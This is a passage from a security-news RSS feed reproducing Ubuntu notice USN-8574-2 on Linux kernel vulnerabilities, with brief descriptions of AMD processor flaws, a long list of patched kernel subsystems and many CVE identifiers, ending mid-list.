CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53354,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688324/unix-server/usn-8574-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:01:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
